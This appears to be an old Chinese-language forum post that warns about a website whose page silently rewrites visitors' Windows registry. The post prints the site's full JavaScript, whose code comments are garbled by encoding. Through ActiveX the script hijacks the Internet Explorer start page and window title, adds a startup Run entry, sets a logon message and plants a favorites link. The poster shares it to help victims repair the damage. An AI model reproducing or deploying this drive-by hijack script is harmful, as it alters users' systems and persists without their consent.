那個網站的所謂"病毒"就是下列 script ,應該是沒啥毒啦,只是會改機碼,首頁改成他的站,一開機就跳出訊息為他的站的****,並開啟瀏覽器進入該站.....(不知何時網業的script的權限已大到如此程度...),至於下載的東東有沒有毒小弟就不知道了(沒多的硬碟跟他玩..)
p.s 中獎者可參考下列語法後自行修復被修改的機碼(有點煩就是了...)
另外Pc-cillin2000好像不把它當毒來看,Norton卻會.
\\小弟才學疏淺,有錯煩請見諒//
那個站長"駭人不淺" 的功力原始碼
<SCRIPT>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //ズ⻌active諷璃
function f(){
try
{
//場宎趙ActiveX 諷璃
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
lou = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1) //潰脤cookie笢岆瘁衄chg腔趼睫揹
{
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//扢离銡擬け蘇＇翋珜
lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://bandianxin.home.sohu.com/");
//党蜊ぎ雄笢腔怀⻌楊ぎ雄砐
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "http://bandianxin.home.sohu.com/");
//扢离蛁聊祥褫載蜊
lou.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD");
//樓⻌ぎ雄粟堤勤趕遺梓枙
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "Microsoft芢熱厙桴");
//樓⻌ぎ雄粟堤勤趕遺囀⺍
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.
http://up2001.6to23.com");
//載蜊銡擬け腔梓枙戲
lou.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.
http://up2001.6to23.com");
lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.
http://up2001.6to23.com");
//扢离Cookie
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//賦旰勤蛁聊桶腔紱釬
//參厙桴樓⻌善彶紲標笢
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//潰聆岆祥眒冪湔婓
//⺼彆祥湔婓ㄛ樓⻌蟈諉
AddFavLnk(loc, "圉萸陑⻏璃狟婥", "http://up2001.6to23.com");
//賦旰
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 40); //隅奀笭葩堍俴
}
init(); </SCRIPT>